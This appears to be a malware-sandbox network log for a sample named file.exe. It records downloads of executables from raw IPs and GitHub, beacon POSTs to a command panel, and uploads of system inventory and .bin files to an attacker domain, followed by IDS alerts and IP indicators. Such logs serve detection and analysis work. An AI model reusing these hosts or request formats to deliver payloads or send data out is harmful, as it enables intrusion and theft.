Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/raw/refs/heads/main/biyjdfjadaw.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/refs/heads/main/biyjdfjadaw.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/refs/heads/main/ktyihkdfesf.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 36 37 32 42 32 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72672B25D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/zhigarko/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 32 35 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019250001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 32 35 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019251001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 32 35 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019252001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/loadman/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /zldPRFrmVFHTtKntGpOv1734579851 HTTP/1.1Host: home.fivetk5ht.topAccept: /Content-Type: application/jsonContent-Length: 440701Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 37 37 32 35 34 31 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 32 36 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 30 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 35 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 32 35 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019253001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/karl/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /zldPRFrmVFHTtKntGpOv1734579851?argument=cIeJvepBJewrgaFw1734772545 HTTP/1.1Host: home.fivetk5ht.topAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 32 35 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019254001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 32 35 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019255001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 32 35 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019256001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fivetk5ht.topAccept: /Content-Length: 464Content-Type: multipart/form-data; boundary=------------------------sCPLJuWr8VSVWU8wts6SY9Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 73 43 50 4c 4a 75 57 72 38 56 53 56 57 55 38 77 74 73 36 53 59 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 48 69 70 65 64 61 70 69 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 06 f3 db e1 39 a9 4c 94 ea f5 40 45 93 5e cc 84 ac db cc 8c 18 82 48 f1 74 ea d9 62 64 52 b4 8f af f0 8b 57 21 17 38 73 bd 89 02 2a 09 ce 19 d9 b9 ce 5b 63 ae 30 81 83 69 ec 88 36 71 48 76 9a 7d 61 33 00 d9 fb da ad f4 c9 99 2e 4a c6 ff 26 5e c0 b0 f3 6b 61 64 02 5a 17 e7 d8 01 94 fc 68 2a c7 d2 4a 1a c4 60 9c 42 1d 33 3d 09 db 99 da dc 8d 3f 44 df 4d 2d b8 12 07 43 e8 61 1d 4c 5a fa 75 32 98 73 a1 58 84 cf 77 c1 49 1d a0 13 ec 19 78 59 4a 15 c9 db 26 e0 a0 e3 a5 01 16 41 2e 23 5d 9c 8b 98 26 8e dd 1c a1 44 1d 7c be 67 9d 05 04 de 06 7f 68 62 ed 0e 44 5f 9c 7e 18 df e7 21 93 19 73 c2 08 05 4c 20 8a f1 ee 4a 04 0a 6b 81 f6 d6 29 67 4f ac b2 1a 4a e6 10 20 9d d2 b8 25 28 41 18 f6 30 cf 8e 72 64 36 75 f7 e0 a8 98 17 be fe 72 09 49 b1 3e 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 73 43 50 4c 4a 75 57 72 38 56 53 56 57 55 38 77 74 73 36 53 59 39 2d 2d 0d 0a Data Ascii: --------------------------sCPLJuWr8VSVWU8wts6SY9Content-Disposition: form-data; name="file"; filename="Hipedapi.bin"Content-Type: application/octet-stream9L@E^HtbdRW!8s[c0i6qHv}a3.J&^kadZhJ`B3=?DM-CaLZu2sXwIxYJ&A.#]&D\|ghbD_~!sL Jk)gOJ %(A0rd6urI>--------------------------sCPLJuWr8VSVWU8wts6SY9--
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fivetk5ht.topAccept: /Content-Length: 65401Content-Type: multipart/form-data; boundary=------------------------Fl4UTVJZz8TWPhEx3kfoExData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 46 6c 34 55 54 56 4a 5a 7a 38 54 57 50 68 45 78 33 6b 66 6f 45 78 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 54 69 73 6f 73 69 66 65 70 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 23 ce 82 44 10 28 19 4e 96 71 9d a8 aa 81 22 ca 57 07 bf f4 7f 89 48 02 83 d2 a6 18 3f d0 12 f6 bc 1a 3c 14 4e 00 28 1d 41 aa 62 6a b9 24 5c 3a a4 d0 a6 ec 01 52 48 47 3e d5 c0 3d 75 3f f8 40 81 8c c3 04 a8 85 3f a1 4d 36 b0 46 89 58 c1 07 cc 38 45 9f 23 cb 31 ad d5 fb a2 87 06 31 31 4d 46 78 81 67 ac 1c 2d f5 9a 08 33 40 79 24 60 e9 fd 56 df a6 b1 0a 58 56 21 5f 21 07 d4 b9 f1 58 55 ec b5 e0 e2 e7 0e 0e 1e 15 fe 57 bb 29 1c 1e 87 4e 3d ba 0f 61 c3 5f 2d 77 27 66 7c 6c 1c 5e f3 5e 5e 71 7a 9e ed fd ab f4 cd 99 51 97 e9 6a bc fb 3f bb ac 27 f4 81 ac 9d 0d d2 c8 f7 eb ab d1 b7 02 c0 67 e0 51 67 e7 b5 04 5f cf 80 f5 69 f0 f7 95 a6 bf 82 47 75 d7 cd 3b bb 91 f3 8b bf a8 d1 42 17 cf d8 d8 04 b9 6d 25 39 30 39 63 6d d8 56 a2 15 40 8c 2b 42 b7 0c ce 70 65 07 17 ef 91 ba 45 77 a1 2c cf 79 1f 75 f0 67 a9 6f 00 93 0e af ea 1b db 7c c5 f1 0d f5 94 05 9a 00 ee 82 c1 69 c7 86 09 46 01 aa f3 bd 4a e4 27 f5 fe 47 e5 34 02 11 43 32 df 34 5c c7 f2 cf b1 7a 16 6e e5 07 c4 c7 43 77 3b 87 01 a9 5f 02 7a 1f 8a b8 d0 df 21 45 e5 a6 d5 a7 92 9e 8b 8b 8c 73 4c 96 b2 60 c1 1f 41 b6 3e db f2 d4 62 70 e8 ee 1d a2 ef 85 63 c8 c6 64 a9 fb 1b fd 91 ba 24 b5 c3 0a c8 11 3f 06 8f 47 ff 03 dd ec 69 92 c1 53 db c0 da 9f 2f 35 75 38 c9 aa 32 75 93 d5 3a c4 ac a4 47 64 da 46 7d 4f 23 62 99 5e 39 4c 23 c1 ad dd f1 ce 16 54 9d d0 50 d6 ab 03 ee b8 5a 9d d1 70 13 d5 7c ae c9 18 2b d7 4e 01 30 53 81 2c ee b0 50 c3 2f 5a e8 66 a9 11 43 86 91 bd 9a 01 be 30 67 8c cb d8 1e ce eb cc 26 e9 55 d2 a0 0a bf 68 af 80 ff 73 ff c3 8c 7b c8 4d 32 b3 19 f0 8b 40 35 75 55 db e7 54 f8 09 79 c5 22 5d ef 1d 93 0b 8c 8e fd 16 05 28 c8 3b a3 11 cf 4e d9 ca 0f 51 e0 da 76 6c 42 96 ed a6 2f ef 36 be b0 41 bf 3d cc fa 73 b8 65 76 e4 42 39 f6 ca b3 08 4c 69 aa ab 1b d5 07 93 5c b7 db 14 a7 39 4d cb e9 af c2 ae 15 bf 8e 00 56 d0 27 49 d3 fa f4 3d 2a 14 cc 04 e1 f1 b5 6f 05 be a6 77 ed 96 e3 ef ec 1a ee d3 a9 f4 1c f2 2f 1f d1 c2 b1 84 ef 4b d1 58 37 0d f9 f8 6f 26 85 2d 26 6e fc 58 94 fe 09 f1 94 55 36 20 74 f2 62 11 ab ca cb ec 4a 21 bb 78 e2 68 f3 c0 74 ef d5 ad 71 72 09 98 14 a3 a5 cb 61 7a 4c 9f e8 c7 2d 52 dd 2c 81 47 b3 13 b5 7d 00 82 0d 9d e4 09 b1 02 52 27 ea 1e 08 e3 0d d0 6f 86 86 14 8f d9 ea 2c 40 0c 09 01 f1 81 f3 a8 cc 2b 2c 42 2b c6 2d eb f7 59 43 33 8f 9d bb 0f 8b 79 a0 d0 60 33 d3 dc 33 e3 c6 39 24 67 1c e5 af eb 25 dd e3 5e 6c
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fivetk5ht.topAccept: /Content-Length: 23417Content-Type: multipart/form-data; boundary=------------------------3zXVqf4kXi7E91GDY4p7UdData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 33 7a 58 56 71 66 34 6b 58 69 37 45 39 31 47 44 59 34 70 37 55 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 42 61 6e 65 64 69 68 65 63 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 42 38 6c 43 9b cf 16 9d 4e 5b ee 76 57 f5 45 9a 5b 68 83 d7 21 45 b9 09 51 53 a1 2a 22 92 5d 30 98 1f 3a 9f b1 f0 ea f2 f5 d7 be 0f 30 67 83 49 a8 30 44 de 12 3c 92 38 cd 35 9f 1c 84 01 4f 53 e4 7d 30 f8 4e 01 49 71 14 44 f3 87 6e c9 18 5c a3 80 16 ef d8 a7 aa bc 69 fc b7 20 fc 31 9d e7 7a 71 70 c8 43 87 9c 80 0e a4 31 61 66 da 04 f0 6c 2b c9 6a 29 7d e9 d3 6b 4c 8e bc 81 d9 4a 2e bf d4 d8 af 59 41 6c 48 35 92 f3 50 c8 a1 5f 4e 07 7b 5f 95 ea bf df 83 cb b2 eb 3d 8b 3a 22 e7 7d 46 1a d1 1d c9 81 63 be de 21 85 5e 53 48 42 81 03 ab 9b e3 e6 46 d0 66 df ae 46 e0 3c 16 3e a5 fd 2c b4 8c 00 0e 5d b2 be 6c cd 17 4d 96 bf 3c 2f 27 60 50 40 bf b7 06 bd 06 21 8d c3 87 a1 fa ff b8 7a d5 b6 2b bb 94 81 8c 7f 74 60 8d 27 c1 b2 5e 56 a1 43 e9 a3 a6 46 23 ac 7d 75 30 db 0a 5d b1 b7 2e b0 1c 07 26 80 07 1c 15 de 04 00 b2 2f 93 42 66 4e a8 1c b0 e6 60 00 8c 09 07 45 05 3b de 0d 8b bb ce 39 dd 5f b7 22 b6 1d 6c 8f af e4 eb 14 b6 81 52 8a 3b 7a a7 82 f1 2a 3f 8d ff e2 e0 e8 60 93 a8 dd 73 9b 61 ca 3f cd 96 4d 64 90 c4 44 a9 41 f0 12 33 49 e3 cc ea 76 aa bc 5e 28 0d ba e8 04 45 69 63 e2 ed 1f a9 e4 41 9c 3e 99 39 c6 4a c9 bb 89 15 57 50 be a3 c7 2c 21 8c a1 51 ad 2b 4d 6f f5 e1 31 7d 14 14 46 b3 be c7 6e 94 d5 86 7b d8 30 0c 1b 83 07 8b 76 aa 88 e0 4f dd 4e cc 67 e7 e8 80 3b ff 54 d8 f4 e3 0e 38 56 8f 42 ea 91 58 e6 8f 97 e5 83 25 35 69 10 db 64 b5 42 ba c8 7e 0d 45 56 77 17 d7 73 e1 fe 37 79 bf f9 84 d0 07 d5 3c ea 1e 1b 1e 6a f7 f7 7a f9 bf dd b5 d2 e0 5a a3 3a 4b 4c e5 de 25 f2 e5 28 06 d5 c1 98 ed 5e 89 17 c8 9a e8 e8 24 b8 4f 27 cf c0 f5 1d 6a ff a2 6f 3c 45 8c 67 41 58 d7 69 b9 b9 5b 11 68 7c 6d 8a 67 a1 6c e9 93 5b 13 26 03 8e 17 f9 60 a0 06 c5 e2 c8 51 2d 99 46 0a 97 91 02 83 f7 98 5b 0a 23 ff 4b 3b b5 05 e7 a8 ad 43 f4 03 d5 49 bb 70 cd 72 4a 34 a4 ed be cb 40 5e 14 f9 ce 71 e5 1d 1e f9 18 36 1d 43 f3 90 46 71 25 2c 17 40 30 ca 5a 73 13 b7 5a 04 23 5a 09 51 3d 3d 3a 4e 20 cd 53 b2 89 50 b0 dd e2 e2 34 18 ac ea 85 43 8e 9c d2 07 7d 91 49 c7 82 04 55 e9 cc 28 94 92 a5 cf 57 da fc 07 ee b4 93 07 33 64 81 8a 96 99 be 40 8c 5b 7c 12 c3 c6 69 02 73 84 82 4e 56 3f 4d e4 f9 4a c1 e4 d1 dc d6 2e ce e0 68 67 b5 66 3b cf 36 41 02 43 22 e3 57 ee de 6f d5 46 b4 62 91 db 64 6b 92 b9 14 7a eb 1d 67 cf 6a cc 72 71 93 95 fc db f9 a3 41 4c da 53 ee d2 f5 32 8d 71 ff 18 03 ae 51 d7 1e e3 68 14 ab f1 c7 48 7c
Source: global traffic	HTTP traffic detected: POST /zldPRFrmVFHTtKntGpOv1734579851 HTTP/1.1Host: home.fivetk5ht.topAccept: /Content-Type: application/jsonContent-Length: 56Data Raw: 7b 20 22 69 64 31 22 3a 20 22 63 49 65 4a 76 65 70 42 4a 65 77 72 67 61 46 77 31 37 33 34 37 37 32 35 34 35 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "cIeJvepBJewrgaFw1734772545", "data": "Done2" }

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.121.15.192 185.121.15.192

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49765 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49781 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49808 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49844 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49867 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49878 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49889 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49898 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49938 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49966 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C5E0C0 recv,recv,recv,recv,

0_2_00C5E0C0

Source: global traffic	HTTP traffic detected: GET /k04ael HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0Host: toptek.sbsConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
